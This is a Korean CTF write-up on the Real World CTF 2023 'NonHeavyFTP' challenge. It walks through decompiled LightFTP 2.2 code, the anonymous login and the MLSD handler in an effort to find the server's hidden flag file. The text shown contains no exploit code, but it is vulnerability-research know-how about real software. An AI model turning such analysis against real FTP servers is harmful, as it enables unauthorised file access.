2023 Real World CTF - NoneHeavyFTP

msh1307·2023년 1월 7일
0

Writeups

목록 보기
6/15

NonHeavyFTP


난이도가 Baby인거 보고 달려들었는데, 어려웠다.

Analysis

[ftpconfig]
port=2121
maxusers=10000000
interface=0.0.0.0
local_mask=255.255.255.255

minport=30000
maxport=60000

goodbyemsg=Goodbye!
keepalive=1

[anonymous]
pswd=*
accs=readonly
root=/server/data/

ftp 서비스의 config 파일이다.

FROM ubuntu:22.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get update &&\
    apt-get install -y --no-install-recommends wget unzip gcc make libc6-dev gnutls-dev uuid

RUN mkdir -p /server/data/ &&\
    echo "hello from LightFTP" >> /server/data/hello.txt &&\
    cd /server &&\
    wget --no-check-certificate https://codeload.github.com/hfiref0x/LightFTP/zip/refs/tags/v2.2 -O LightFTP-2.2.zip &&\
    unzip LightFTP-2.2.zip &&\
    cd LightFTP-2.2/Source/Release &&\
    make &&\
    cp -a ./fftp /server/ &&\
    cd /server &&\
    rm -rf LightFTP-2.2 LightFTP-2.2.zip

COPY ./flag /flag
COPY ./fftp.conf /server/fftp.conf

RUN mv /flag /flag.`uuid` &&\
    useradd -M -d /server/ -U ftp

WORKDIR /server

EXPOSE 2121

CMD ["runuser", "-u", "ftp", "-g", "ftp", "/server/fftp", "/server/fftp.conf"]

/flag 이름을 uuid를 통해서 랜덤하게 바꿔주고 있다.
flag 파일의 이름을 알아내야할 필요가 있다.

https://github.com/hfiref0x/LightFTP
그리고 깃헙을 뒤져보니 실제로 LightFTP가 있었다.
있었는지 몰랐다.
중간에 탈주뛸 준비를 하다가 발견해서 소스코드를 다운받고 분석했다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v4; // rbp
  __int64 v5; // rax
  char *v6; // r12
  int v7; // edi
  char *v8; // rax
  char *v9; // rax
  char *v10; // rax
  int v11; // ebx
  pthread_t v12[7]; // [rsp+0h] [rbp-38h] BYREF

  v12[1] = __readfsqword(0x28u);
  if ( argc <= 1 )
    v4 = (char *)config_init("fftp.conf", argv, envp);
  else
    v4 = (char *)config_init(argv[1], argv, envp);
  if ( !v4 )
  {
    __printf_chk(1LL, "Could not find configuration file\r\n\r\n Usage: fftp [CONFIGFILE]\r\n\r\n");
    if ( g_log != -1 )
      close(g_log);
LABEL_31:
    ftp_tls_cleanup();
    exit(2);
  }
  v5 = x_malloc(&_data_start);
  g_cfg = (__int64)v4;
  v6 = (char *)v5;
  in.s_addr = inet_addr("127.0.0.1");
  if ( (unsigned int)config_parse(v4, "ftpconfig", "interface", v6, (__int64)&_data_start) )
    in.s_addr = inet_addr(v6);
  stru_1011C.s_addr = inet_addr("0.0.0.0");
  if ( (unsigned int)config_parse(v4, "ftpconfig", "external_ip", v6, (__int64)&_data_start) )
    stru_1011C.s_addr = inet_addr(v6);
  stru_10120.s_addr = inet_addr("255.255.255.0");
  if ( (unsigned int)config_parse(v4, "ftpconfig", "local_mask", v6, (__int64)&_data_start) )
    stru_10120.s_addr = inet_addr(v6);
  word_10110 = 21;
  if ( (unsigned int)config_parse(v4, "ftpconfig", "port", v6, (__int64)&_data_start) )
    word_10110 = strtoul(v6, 0LL, 10);
  dword_10108 = 1;
  if ( (unsigned int)config_parse(v4, "ftpconfig", "maxusers", v6, (__int64)&_data_start) )
    dword_10108 = strtoul(v6, 0LL, 10);
  dword_1010C = 0;
  if ( (unsigned int)config_parse(v4, "ftpconfig", "keepalive", v6, (__int64)&_data_start) )
    dword_1010C = strtoul(v6, 0LL, 10);
  word_10112 = 1024;
  if ( (unsigned int)config_parse(v4, "ftpconfig", "minport", v6, (__int64)&_data_start) )
    word_10112 = strtoul(v6, 0LL, 10);
  word_10114 = -1;
  if ( (unsigned int)config_parse(v4, "ftpconfig", "maxport", v6, (__int64)&_data_start) )
    word_10114 = strtoul(v6, 0LL, 10);
  config_parse(v4, "ftpconfig", "CATrustFile", CAFILE, 4096LL);
  config_parse(v4, "ftpconfig", "ServerCertificate", CERTFILE, 4096LL);
  config_parse(v4, "ftpconfig", "Keyfile", KEYFILE, 4096LL);
  config_parse(v4, "ftpconfig", "KeyfilePassword", KEYFILE_PASS, 256LL);
  config_parse(v4, "ftpconfig", "goodbyemsg", GOODBYE_MSG, 128LL);
  memset(v6, 0, (size_t)&_data_start);
  if ( (unsigned int)config_parse(v4, "ftpconfig", "logfilepath", v6, (__int64)&_data_start) )
  {
    g_log = open64(v6, 66, 384LL);
    v7 = g_log;
    if ( g_log == -1 )
    {
      __printf_chk(1LL, "Error: Failed to open/create log file. Please check logfilepath: %s\r\n", v6);
      __printf_chk(
        1LL,
        "Possible errors: 1) path is invalid; 2) file is read only; 3) file is directory; 4) insufficient permissions\r\n");
LABEL_28:
      free(v4);
      if ( g_log != -1 )
        close(g_log);
      free(v6);
      goto LABEL_31;
    }
  }
  else
  {
    __printf_chk(1LL, "WARNING: logfilepath section is not found in configuration. Logging to file disabled.\r\n");
    v7 = g_log;
    if ( g_log == -1 )
    {
LABEL_22:
      __printf_chk(1LL, "\r\n    [ LightFTP server v%s ]\r\n\r\n", "2.2");
      __printf_chk(1LL, "Log file        : %s\r\n", v6);
      if ( getcwd(v6, (size_t)&_data_start) )
        __printf_chk(1LL, "Working dir     : %s\r\n", v6);
      if ( argc <= 1 )
        __printf_chk(1LL, "Config file     : %s/%s\r\n", v6, "fftp.conf");
      else
        __printf_chk(1LL, "Config file     : %s\r\n", argv[1]);
      v8 = inet_ntoa(in);
      __printf_chk(1LL, "Interface ipv4  : %s\r\n", v8);
      v9 = inet_ntoa(stru_10120);
      __printf_chk(1LL, "Interface mask  : %s\r\n", v9);
      v10 = inet_ntoa(stru_1011C);
      __printf_chk(1LL, "External ipv4   : %s\r\n", v10);
      __printf_chk(1LL, "Port            : %u\r\n", (unsigned __int16)word_10110);
      __printf_chk(1LL, "Max users       : %u\r\n", (unsigned int)dword_10108);
      __printf_chk(1LL, "PASV port range : %u..%u\r\n", (unsigned __int16)word_10112, (unsigned __int16)word_10114);
      __printf_chk(1LL, "\r\n TYPE q or Ctrl+C to terminate >\r\n");
      ftp_tls_init();
      v12[0] = 0LL;
      if ( pthread_create(v12, 0LL, ftpmain, 0LL) )
      {
        __printf_chk(1LL, "Error: Failed to create main server thread\r\n");
      }
      else
      {
        do
        {
          v11 = getc(stdin);
          sleep(1u);
        }
        while ( (v11 & 0xFFFFFFDF) != 'Q' );
      }
      goto LABEL_28;
    }
  }
  lseek64(v7, 0LL, 2);
  goto LABEL_22;
}

그냥 서버에서 화면? status? 띄워주는 함수다.
클라이언트랑은 상관없으니까 패스하고, ftpmain 함수부터 보면된다.

void *__fastcall ftpmain(void *a1)
{
  int v1; // eax
  int v2; // r12d
  _DWORD *v3; // rbp
  unsigned int v4; // eax
  __int64 v5; // rdx
  int v6; // r15d
  int *v7; // r14
  int optval; // [rsp+10h] [rbp-68h] BYREF
  socklen_t addr_len; // [rsp+14h] [rbp-64h] BYREF
  pthread_t v11; // [rsp+18h] [rbp-60h] BYREF
  struct sockaddr addr; // [rsp+20h] [rbp-58h] BYREF
  unsigned __int64 v13; // [rsp+38h] [rbp-40h]

  v13 = __readfsqword(0x28u);
  v1 = socket(2, 1, 6);
  if ( v1 == -1 )
  {
    __printf_chk(1LL, "\r\n socket create error\r\n");
  }
  else
  {
    v2 = v1;
    optval = 1;
    setsockopt(v1, 1, 2, &optval, 4u);
    v3 = (_DWORD *)x_malloc(4LL * (unsigned int)dword_10108);
    if ( dword_10108 )
    {
      v4 = 0;
      do
      {
        v5 = v4++;
        v3[v5] = -1;
      }
      while ( dword_10108 > v4 );
    }
    addr.sa_family = 2;
    *(_QWORD *)&addr.sa_data[6] = 0LL;
    *(_WORD *)addr.sa_data = __ROL2__(word_10110, 8);
    *(struct in_addr *)&addr.sa_data[2] = in;
    if ( bind(v2, &addr, 0x10u) )
    {
      __printf_chk(1LL, "\r\n Failed to start server. Can not bind to address\r\n\r\n");
      free(v3);
      close(v2);
    }
    else
    {
      writelogentry(0LL, "220 LightFTP server ready\r\n", "");
      if ( !listen(v2, 4096) )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            do
            {
              addr_len = 16;
              addr = 0LL;
              v6 = accept(v2, &addr, &addr_len);
            }
            while ( v6 == -1 );
            optval = -1;
            if ( !dword_10108 )
              break;
            v7 = v3;
            while ( *v7 != -1 )
            {
              if ( ++v7 == &v3[dword_10108] )
                goto LABEL_16;
            }
            if ( dword_1010C )
              socket_set_keepalive(v6);
            *v7 = v6;
            optval = pthread_create(&v11, 0LL, ftp_client_thread, v7);
            if ( optval )
            {
              *v7 = -1;
              if ( optval )
                break;
            }
          }
LABEL_16:
          send(v6, "MAXIMUM ALLOWED USERS CONNECTED\r\n", 0x21uLL, 0x4000);
          close(v6);
        }
      }
      free(v3);
      close(v2);
    }
  }
  return 0LL;
}

마찬가지로 ftp_client_thread만 보면된다.

// positive sp value has been detected, the output may be wrong!
void *__fastcall ftp_client_thread(int *a1)
{
  int v1; // edi
  __int64 v2; // rbp
  unsigned __int8 v4; // bl
  const unsigned __int16 **v5; // rax
  __int64 v6; // rdx
  const char *v7; // rbp
  __int64 v8; // rax
  size_t v9; // r13
  char *v10; // rax
  char *v11; // rdx
  const char **v12; // r12
  int v13; // ebx
  int v14; // ebp
  float v15; // xmm1_4
  double v16; // xmm1_8
  float v17; // xmm0_4
  int *v18; // [rsp-100h] [rbp-6130h]
  char *v19; // [rsp-F8h] [rbp-6128h]
  pthread_mutexattr_t *v20; // [rsp-F0h] [rbp-6120h]
  socklen_t v21; // [rsp-DCh] [rbp-610Ch] BYREF
  void *v22; // [rsp-D8h] [rbp-6108h] BYREF
  pthread_mutexattr_t v23; // [rsp-CCh] [rbp-60FCh] BYREF
  struct sockaddr v24; // [rsp-C8h] [rbp-60F8h] BYREF
  pthread_mutex_t mutex; // [rsp-B8h] [rbp-60E8h] BYREF
  int v26; // [rsp-90h] [rbp-60C0h]
  int v27; // [rsp-8Ch] [rbp-60BCh]
  pthread_t v28; // [rsp-88h] [rbp-60B8h]
  __int64 v29; // [rsp-80h] [rbp-60B0h]
  int v30; // [rsp-78h] [rbp-60A8h]
  int v31; // [rsp-74h] [rbp-60A4h]
  int v32; // [rsp-70h] [rbp-60A0h]
  __int16 v33; // [rsp-6Ch] [rbp-609Ch]
  int v34; // [rsp-68h] [rbp-6098h]
  int v35; // [rsp-64h] [rbp-6094h]
  unsigned __int32 v36; // [rsp-5Ch] [rbp-608Ch]
  char v37; // [rsp-40h] [rbp-6070h]
  char v38; // [rsp+0h] [rbp-6030h] BYREF
  __int64 v39; // [rsp+1000h] [rbp-5030h] BYREF
  __int64 v40; // [rsp+4FC0h] [rbp-1070h]
  __int64 v41; // [rsp+4FC8h] [rbp-1068h]
  __int64 v42; // [rsp+4FD0h] [rbp-1060h]
  size_t v43; // [rsp+4FD8h] [rbp-1058h]
  size_t v44; // [rsp+4FE0h] [rbp-1050h]
  __int64 instr_recved[521]; // [rsp+4FE8h] [rbp-1048h] BYREF

  while ( &v38 != (char *)(&v39 - 3072) )
    ;
  v18 = a1;
  instr_recved[513] = __readfsqword(0x28u);
  memset(&mutex, 0, 0x50A0uLL);
  v1 = *a1;
  v21 = 16;
  v26 = v1;
  v24 = 0LL;
  if ( !getsockname(v1, &v24, &v21) )
  {
    v21 = 16;
    v30 = *(_DWORD *)&v24.sa_data[2];
    v24 = 0LL;
    if ( !getpeername(v26, &v24, &v21) )
    {
      v35 = 0;
      v31 = *(_DWORD *)&v24.sa_data[2];
      v29 = 0xFFFFFFFFLL;
      v27 = -1;
      v36 = _InterlockedIncrement(&g_newid);
      v34 = -1;
      pthread_mutexattr_init(&v23);
      pthread_mutexattr_settype(&v23, 1);
      pthread_mutex_init(&mutex, &v23);
      v37 = 47;
      if ( v40 )
        ((void (__fastcall *)(__int64, const char *, __int64))gnutls_record_send)(
          v40,
          "220 LightFTP server ready\r\n",
          27LL);
      else
        send(v26, "220 LightFTP server ready\r\n", 0x1BuLL, 0x4000);
      memset(instr_recved, 0, 0x1000uLL);
      ((void (__fastcall *)(__int64 *, __int64, __int64, __int64, const char *, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))__snprintf_chk)(
        instr_recved,
        4096LL,
        1LL,
        4096LL,
        "<- New user IP=%u.%u.%u.%u:%u",
        (unsigned __int8)v24.sa_data[2],
        (unsigned __int8)v24.sa_data[3],
        (unsigned __int8)v24.sa_data[4],
        HIBYTE(*(_DWORD *)&v24.sa_data[2]),
        (unsigned __int16)__ROL2__(*(_WORD *)v24.sa_data, 8));
      writelogentry((__int64)&mutex, (__int64)instr_recved, (__int64)"");
      do
      {
LABEL_10:
        if ( v26 == -1 || !(unsigned int)recvcmd_part_0((__int64)&mutex, (char *)instr_recved, 0x1000LL) )// recvuntil \r\n
          break;
        v4 = instr_recved[0];
        if ( LOBYTE(instr_recved[0]) )
        {
          v5 = __ctype_b_loc();
          v6 = 0LL;
          while ( ((*v5)[(char)v4] & 0x400) == 0 )
          {
            ++v6;
            v4 = *((_BYTE *)instr_recved + v6);
            if ( !v4 )
            {
              v7 = (char *)instr_recved + v6;
              goto LABEL_41;
            }
          }
          v7 = (char *)instr_recved + v6;
          v8 = v6;
          if ( (v4 & 0xDF) != 0 )
          {
            do
            {
              ++v8;
              v4 = *((_BYTE *)instr_recved + v8);
            }
            while ( (v4 & 0xDF) != 0 );
            v9 = v8 - v6;
          }
          else
          {
            v9 = 0LL;
          }
          while ( v4 == ' ' )
          {
            ++v8;
            v4 = *((_BYTE *)instr_recved + v8);
          }
          v10 = (char *)instr_recved + v8;      // Second Arg?
          v11 = 0LL;
          if ( v4 )
            v11 = v10;
          v19 = v11;
        }
        else
        {
          v7 = (const char *)instr_recved;
LABEL_41:
          v19 = 0LL;
          v9 = 0LL;
        }
        v12 = (const char **)&ftpprocs;
        v13 = 0;
        while ( strncasecmp(v7, *v12, v9) )     // instruction parsing
        {
          ++v13;
          v12 += 2;
          if ( v13 == 0x20 )                    // instruction cnts -> 32
          {
            writelogentry((__int64)&mutex, (__int64)" @@ CMD: ", (__int64)instr_recved);
            if ( v40 )
              ((void (__fastcall *)(__int64, const char *, __int64))gnutls_record_send)(
                v40,
                "500 Syntax error, command unrecognized.\r\n",
                41LL);
            else
              send(v26, "500 Syntax error, command unrecognized.\r\n", 0x29uLL, 0x4000);
            goto LABEL_10;
          }
        }
        v14 = ((__int64 (__fastcall *)(pthread_mutex_t *, char *))(&ftpprocs)[2 * v13 + 1])(&mutex, v19);// CALL FTP USR
        if ( v13 == 0xD )
          writelogentry((__int64)&mutex, (__int64)" @@ CMD: ", (__int64)"PASS ***");
        else
          writelogentry((__int64)&mutex, (__int64)" @@ CMD: ", (__int64)instr_recved);
      }
      while ( v14 > 0 );
      v22 = 0LL;
      if ( !(_DWORD)v29 )
      {
        HIDWORD(v29) = 1;
        sleep(2u);
        if ( pthread_join(v28, &v22) )
        {
          writelogentry((__int64)&mutex, (__int64)"Enter cancel", (__int64)"");
          pthread_cancel(v28);
        }
        LODWORD(v29) = -1;
      }
      if ( v27 != -1 )
      {
        close(v27);
        v27 = -1;
      }
      if ( v34 != -1 )
      {
        close(v34);
        v34 = -1;
      }
      v32 = 0;
      v33 = 0;
      pthread_mutex_destroy(&mutex);
      pthread_mutexattr_destroy(v20);
      if ( v42 < 0 )
        v15 = (float)(v42 & 1 | (unsigned int)((unsigned __int64)v42 >> 1))
            + (float)(v42 & 1 | (unsigned int)((unsigned __int64)v42 >> 1));
      else
        v15 = (float)(int)v42;
      v16 = (float)(v15 * 0.00000095367432);
      if ( v41 < 0 )
        v17 = (float)(v41 & 1 | (unsigned int)((unsigned __int64)v41 >> 1))
            + (float)(v41 & 1 | (unsigned int)((unsigned __int64)v41 >> 1));
      else
        v17 = (float)(int)v41;
      ((void (*)(__int64 *, __int64, __int64, __int64, const char *, ...))__snprintf_chk)(
        instr_recved,
        4096LL,
        1LL,
        4096LL,
        " User disconnected. \n"
        "==== Session %u statistics ====\n"
        "Rx: %zd bytes (%f MBytes) total received by server in %zd files,\n"
        "Tx: %zd bytes (%f MBytes) total sent to the client in %zd files.\n",
        v36,
        v41,
        (float)(v17 * 0.00000095367432),
        v43,
        v42,
        v16,
        v44);
      writelogentry((__int64)&mutex, (__int64)instr_recved, (__int64)"");
    }
  }
  v2 = v40;
  if ( v40 )
  {
    ((void (__fastcall *)(__int64, _QWORD))gnutls_bye)(v40, 0LL);
    ((void (__fastcall *)(__int64))gnutls_deinit)(v2);
  }
  close(v26);
  *v18 = -1;
  return 0LL;
}

recvcmd_part_0 함수는 \r\n으로 끝나는 명령어가 오면, instruction operand로 잘 분리해서 저장해주고, 함수를 호출한다.

.data.rel.ro:000000000000F8E0 ftpprocs        dq offset aUser_0       ; DATA XREF: ftp_client_thread:loc_9A3E↑o
.data.rel.ro:000000000000F8E0                                         ; ftp_client_thread+326↑o
.data.rel.ro:000000000000F8E0                                         ; "USER"
.data.rel.ro:000000000000F8E8                 dq offset ftpUSER
.data.rel.ro:000000000000F8F0                 dq offset aQuit+1       ; "QUIT"
.data.rel.ro:000000000000F8F8                 dq offset ftpQUIT
.data.rel.ro:000000000000F900                 dq offset aNoop         ; "NOOP"
.data.rel.ro:000000000000F908                 dq offset ftpNOOP
.data.rel.ro:000000000000F910                 dq offset aPwd          ; "PWD"
.data.rel.ro:000000000000F918                 dq offset ftpPWD
.data.rel.ro:000000000000F920                 dq offset aType         ; "TYPE"
.data.rel.ro:000000000000F928                 dq offset ftpTYPE
.data.rel.ro:000000000000F930                 dq offset aPort_0       ; "PORT"
.data.rel.ro:000000000000F938                 dq offset ftpPORT
.data.rel.ro:000000000000F940                 dq offset aList+1       ; "LIST"
.data.rel.ro:000000000000F948                 dq offset ftpLIST
.data.rel.ro:000000000000F950                 dq offset aCdup+1       ; "CDUP"
.data.rel.ro:000000000000F958                 dq offset ftpCDUP
.data.rel.ro:000000000000F960                 dq offset aCwd_0        ; "CWD"
.data.rel.ro:000000000000F968                 dq offset ftpCWD
.data.rel.ro:000000000000F970                 dq offset aRetr_0       ; "RETR"
.data.rel.ro:000000000000F978                 dq offset ftpRETR
.data.rel.ro:000000000000F980                 dq offset aAbor         ; "ABOR"
.data.rel.ro:000000000000F988                 dq offset ftpABOR
.data.rel.ro:000000000000F990                 dq offset aDele_0       ; "DELE"
.data.rel.ro:000000000000F998                 dq offset ftpDELE
.data.rel.ro:000000000000F9A0                 dq offset aPasv         ; "PASV"
.data.rel.ro:000000000000F9A8                 dq offset ftpPASV
.data.rel.ro:000000000000F9B0                 dq offset aPass_0       ; "PASS"
.data.rel.ro:000000000000F9B8                 dq offset ftpPASS
.data.rel.ro:000000000000F9C0                 dq offset aRest         ; "REST"
.data.rel.ro:000000000000F9C8                 dq offset ftpREST
.data.rel.ro:000000000000F9D0                 dq offset aSize_0       ; "SIZE"
.data.rel.ro:000000000000F9D8                 dq offset ftpSIZE
.data.rel.ro:000000000000F9E0                 dq offset aMkd_0        ; "MKD"
.data.rel.ro:000000000000F9E8                 dq offset ftpMKD
.data.rel.ro:000000000000F9F0                 dq offset aRmd          ; "RMD"
.data.rel.ro:000000000000F9F8                 dq offset ftpRMD
.data.rel.ro:000000000000FA00                 dq offset aStor_0       ; "STOR"
.data.rel.ro:000000000000FA08                 dq offset ftpSTOR
.data.rel.ro:000000000000FA10                 dq offset aSyst         ; "SYST"
.data.rel.ro:000000000000FA18                 dq offset ftpSYST
.data.rel.ro:000000000000FA20                 dq offset aFeat         ; "FEAT"
.data.rel.ro:000000000000FA28                 dq offset ftpFEAT
.data.rel.ro:000000000000FA30                 dq offset aAppe_0       ; "APPE"
.data.rel.ro:000000000000FA38                 dq offset ftpAPPE
.data.rel.ro:000000000000FA40                 dq offset aRnfr_0       ; "RNFR"
.data.rel.ro:000000000000FA48                 dq offset ftpRNFR
.data.rel.ro:000000000000FA50                 dq offset aRnto_0       ; "RNTO"
.data.rel.ro:000000000000FA58                 dq offset ftpRNTO
.data.rel.ro:000000000000FA60                 dq offset aOpts         ; "OPTS"
.data.rel.ro:000000000000FA68                 dq offset ftpOPTS
.data.rel.ro:000000000000FA70                 dq offset aMlsd         ; "MLSD"
.data.rel.ro:000000000000FA78                 dq offset ftpMLSD
.data.rel.ro:000000000000FA80                 dq offset aAuth         ; "AUTH"
.data.rel.ro:000000000000FA88                 dq offset ftpAUTH
.data.rel.ro:000000000000FA90                 dq offset aPbsz         ; "PBSZ"
.data.rel.ro:000000000000FA98                 dq offset ftpPBSZ
.data.rel.ro:000000000000FAA0                 dq offset aProt         ; "PROT"
.data.rel.ro:000000000000FAA8                 dq offset ftpPROT
.data.rel.ro:000000000000FAB0                 dq offset aEpsv         ; "EPSV"
.data.rel.ro:000000000000FAB8                 dq offset ftpEPSV
.data.rel.ro:000000000000FAC0                 dq offset aHelp_0       ; "HELP"
.data.rel.ro:000000000000FAC8                 dq offset ftpHELP
.data.rel.ro:000000000000FAD0                 dq offset aSite         ; "SITE"
.data.rel.ro:000000000000FAD8                 dq offset ftpSITE
.data.rel.ro:000000000000FAD8 _data_rel_ro    ends
.data.rel.ro:000000000000FAD8

이런식으로 string과 함수 주소가 잘 매칭되어있다.

_BOOL8 __fastcall ftpUSER(char *mutex, char *user_name)
{
  size_t v2; // rdx

  if ( user_name )
  {
    *((_DWORD *)mutex + 22) = 0;
    writelogentry((__int64)mutex, (__int64)" USER: ", (__int64)user_name);
    __snprintf_chk((__int64)(mutex + 0x3078), 0x2000LL, 1LL, 0x2000LL, "331 User %s OK. Password required\r\n");
    v2 = strlen(mutex + 0x3078);                // make string
    if ( *((_QWORD *)mutex + 0xA0F) )
      gnutls_record_send();
    else
      send(*((_DWORD *)mutex + 10), mutex + 0x3078, v2, 0x4000);
    __strcpy_chk(mutex + 0x3078, user_name, 0x2000uLL);
    return 1LL;
  }
  else if ( *((_QWORD *)mutex + 0xA0F) )
  {
    return gnutls_record_send() >= 0;
  }
  else
  {
    return send(*((_DWORD *)mutex + 10), "501 Syntax error in parameters or arguments.\r\n", 0x2EuLL, 0x4000) >= 0;
  }
}

ftpUSER 함수는 유저 이름 받는 함수이다.
이때 config_parse를 통해서 config 파일에서 그 유저에 대한 접근 권한, root path에 대한 정보를 받아온다.
그 이후 PASS로 비밀번호 인증하라고 한다.

_BOOL8 __fastcall ftpPASS(__int64 a1, const char *password)
{
  int v2; // eax
  int v3; // r8d
  char v5[264]; // [rsp+0h] [rbp-138h] BYREF
  unsigned __int64 v6; // [rsp+108h] [rbp-30h]

  v6 = __readfsqword(0x28u);
  if ( !password )
  {
    if ( *(_QWORD *)(a1 + 0x5078) )
      return gnutls_record_send() >= 0;
    else
      return send(*(_DWORD *)(a1 + 40), "501 Syntax error in parameters or arguments.\r\n", 0x2EuLL, 0x4000) >= 0;
  }
  memset(v5, 0, 0x100uLL);
  if ( !(unsigned int)config_parse((char *)g_cfg, (const char *)(a1 + 0x3078), "pswd", v5, (char *)&qword_100)// a, pswd, 
    || strcmp(v5, password) && v5[0] != '*' )
  {
    if ( *(_QWORD *)(a1 + 0x5078) )
      return gnutls_record_send() >= 0;
    return send(*(_DWORD *)(a1 + 40), "530 Invalid user name or password.\r\n", 0x24uLL, 0x4000) >= 0;
  }
  *(_QWORD *)(a1 + 0x1078) = 0LL;
  *(_QWORD *)(a1 + 0x2070) = 0LL;
  memset(
    (void *)((a1 + 0x1080) & 0xFFFFFFFFFFFFFFF8LL),
    0,
    8LL * (((_DWORD)a1 + 0x1078 - (((_DWORD)a1 + 0x1080) & 0xFFFFFFF8) + 4096) >> 3));
  memset(v5, 0, 0x100uLL);
  config_parse((char *)g_cfg, (const char *)(a1 + 0x3078), "root", (_BYTE *)(a1 + 0x1078), "a");
  config_parse((char *)g_cfg, (const char *)(a1 + 0x3078), "accs", v5, (char *)&qword_100);
  *(_DWORD *)(a1 + 88) = 0;
  if ( !strcasecmp(v5, "admin") )
  {
    v2 = 3;
LABEL_7:
    *(_DWORD *)(a1 + 0x58) = v2;
    writelogentry(a1, (__int64)" PASS->successful logon", (__int64)"");
    if ( *(_QWORD *)(a1 + 20600) )
      return gnutls_record_send() >= 0;
    return send(*(_DWORD *)(a1 + 40), "230 User logged in, proceed.\r\n", 0x1EuLL, 0x4000) >= 0;
  }
  if ( !strcasecmp(v5, "upload") )
  {
    v2 = 2;
    goto LABEL_7;
  }
  v3 = strcasecmp(v5, "readonly");
  v2 = 1;
  if ( !v3 )
    goto LABEL_7;
  if ( *(_QWORD *)(a1 + 0x5078) )
    return gnutls_record_send() >= 0;
  return send(*(_DWORD *)(a1 + 40), "530 This account is disabled.\r\n", 0x1FuLL, 0x4000) >= 0;
}

PASS 함수이다.
config 파일에서 유저의 비밀번호를 찾고 인증한다.
*면 어떤 비밀번호여도 체크가 패스된다.
아까 config 파일에서 있던 anonymous를 유저 이름으로 주고, 아무 비밀번호나 입력하면, ReadOnly 권한으로 ftp 서버에 접속할 수 있다.

이제 flag 이름을 읽기 위해서 ftp 명령어들을 구글링 해봤다.
MLSD가 나와서 그걸 분석해봤다.

__int64 __fastcall ftpMLSD(pthread_mutex_t *mutex, char *a2)
{
  int owner; // edx
  int v4; // eax
  __int64 align; // rdi
  int v7; // eax
  pthread_t newthread; // [rsp+8h] [rbp-C0h] BYREF
  struct stat64 v9; // [rsp+10h] [rbp-B8h] BYREF
  unsigned __int64 v10; // [rsp+A8h] [rbp-20h]

  owner = mutex[2].__owner;
  v10 = __readfsqword(0x28u);
  if ( !owner )
  {
    if ( !mutex[515].__align )
      return send(mutex[1].__lock, "530 Please login with USER and PASS.\r\n", 0x26uLL, 0x4000) >= 0;
    return gnutls_record_send() >= 0;
  }
  if ( !mutex[1].__kind )
  {
    if ( !mutex[515].__align )
      return send(mutex[1].__lock, "550 Another action is in progress, use ABOR command first.\r\n", 0x3CuLL, 0x4000) >= 0;
    return gnutls_record_send() >= 0;
  }
  ftp_effective_path((__int64)(&mutex[105].__align + 2), (__int64)&mutex[3], a2, 0x2000uLL, &mutex[310].__size[8]);
  v4 = stat64(&mutex[310].__size[8], &v9);      // get stat of file
  align = mutex[515].__align;
  if ( !v4 && (v9.st_mode & 0xF000) == 0x4000 )
  {
    if ( align )
      gnutls_record_send();
    else
      send(mutex[1].__lock, "150 File status okay; about to open data connection.\r\n", 0x36uLL, 0x4000);
    writelogentry((__int64)mutex, (__int64)" MLSD-LIST ", (__int64)a2);
    mutex[1].__spins = 0;
    pthread_mutex_lock(mutex);
    v7 = pthread_create(&newthread, 0LL, (void *(*)(void *))mlsd_thread, mutex);
    mutex[1].__kind = v7;
    if ( v7 )
    {
      if ( mutex[515].__align )
        gnutls_record_send();
      else
        send(mutex[1].__lock, "451 Requested action aborted. Local error in processing.\r\n", 0x3AuLL, 0x4000);
    }
    else
    {
      *(&mutex[1].__align + 1) = newthread;
    }
    pthread_mutex_unlock(mutex);
    return 1LL;
  }
  else if ( align )
  {
    return gnutls_record_send() >= 0;
  }
  else
  {
    return send(mutex[1].__lock, "550 File or directory unavailable.\r\n", 0x24uLL, 0x4000) >= 0;
  }
}

mutex로 critical section을 하나의 쓰레드만 진입하도록 해준것 같다.
ftp_effective_path 함수로 경로를 얻어오고 stat으로 체크한다.
여기서 쓰레드로 mlsd_thread 함수를 호출한다. 첫번째 인자는 mutex 그대로 넘겨준다.

void *__fastcall mlsd_thread(pthread_mutex_t *a1)
{
  int v1; // ebx
  DIR *v2; // rbp
  struct dirent64 *v3; // rcx
  __int64 align; // rdi
  pthread_mutex_t *v5; // rbx
  _BYTE fd[12]; // [rsp+14h] [rbp-94h] BYREF
  __pthread_unwind_buf_t buf; // [rsp+20h] [rbp-88h] BYREF

  buf.__pad[4] = (void *)__readfsqword(0x28u);
  pthread_mutex_lock(a1);
  if ( __sigsetjmp((struct __jmp_buf_tag *)&buf, 0) )
  {
    cleanup_handler(a1);
    __pthread_unwind_next(&buf);
  }
  v1 = 0;
  __pthread_register_cancel(&buf);
  *(_DWORD *)&fd[8] = 0;
  *(_QWORD *)fd = (unsigned int)create_datasocket(a1);
  if ( *(_DWORD *)fd != -1 )
  {
    if ( !a1[515].__align || (unsigned int)ftp_init_tls_session(&fd[4], *(unsigned int *)fd, 0) )
    {
      v2 = opendir(&a1[310].__size[8]);         // open dir
      if ( v2 )
      {
        do
        {
          v3 = readdir64(v2);
          if ( !v3 )
            break;
          v1 = mlsd_sub(&a1[310].__align + 1, *(unsigned int *)fd, *(_QWORD *)&fd[4], v3);
          if ( !v1 )
            break;
        }
        while ( !a1[1].__spins );
        closedir(v2);
      }
    }
    if ( *(_QWORD *)&fd[4] )
    {
      gnutls_bye(*(_QWORD *)&fd[4], 0LL);
      gnutls_deinit();
    }
  }
  writelogentry((__int64)a1, (__int64)" MLSD complete", (__int64)"");
  align = a1[515].__align;
  if ( *(_DWORD *)fd != -1 )
  {
    if ( !a1[1].__spins && v1 )
    {
      if ( !align )
      {
        send(a1[1].__lock, "226 Transfer complete. Closing data connection.\r\n", 0x31uLL, 0x4000);
        goto LABEL_18;
      }
    }
    else if ( !align )
    {
      send(a1[1].__lock, "426 Connection closed; transfer aborted.\r\n", 0x2AuLL, 0x4000);
      goto LABEL_18;
    }
    gnutls_record_send();
LABEL_18:
    close(*(int *)fd);
    a1[1].__count = -1;
    v5 = a1;
    goto LABEL_19;
  }
  if ( align )
    gnutls_record_send();
  else
    send(a1[1].__lock, "451 Requested action aborted. Local error in processing.\r\n", 0x3AuLL, 0x4000);
  v5 = a1;
LABEL_19:
  v5[1].__kind = -1;
  __pthread_unregister_cancel(&buf);
  pthread_mutex_unlock(v5);
  return 0LL;
}

create_datasocket으로 데이터 소켓을 따로 연다.
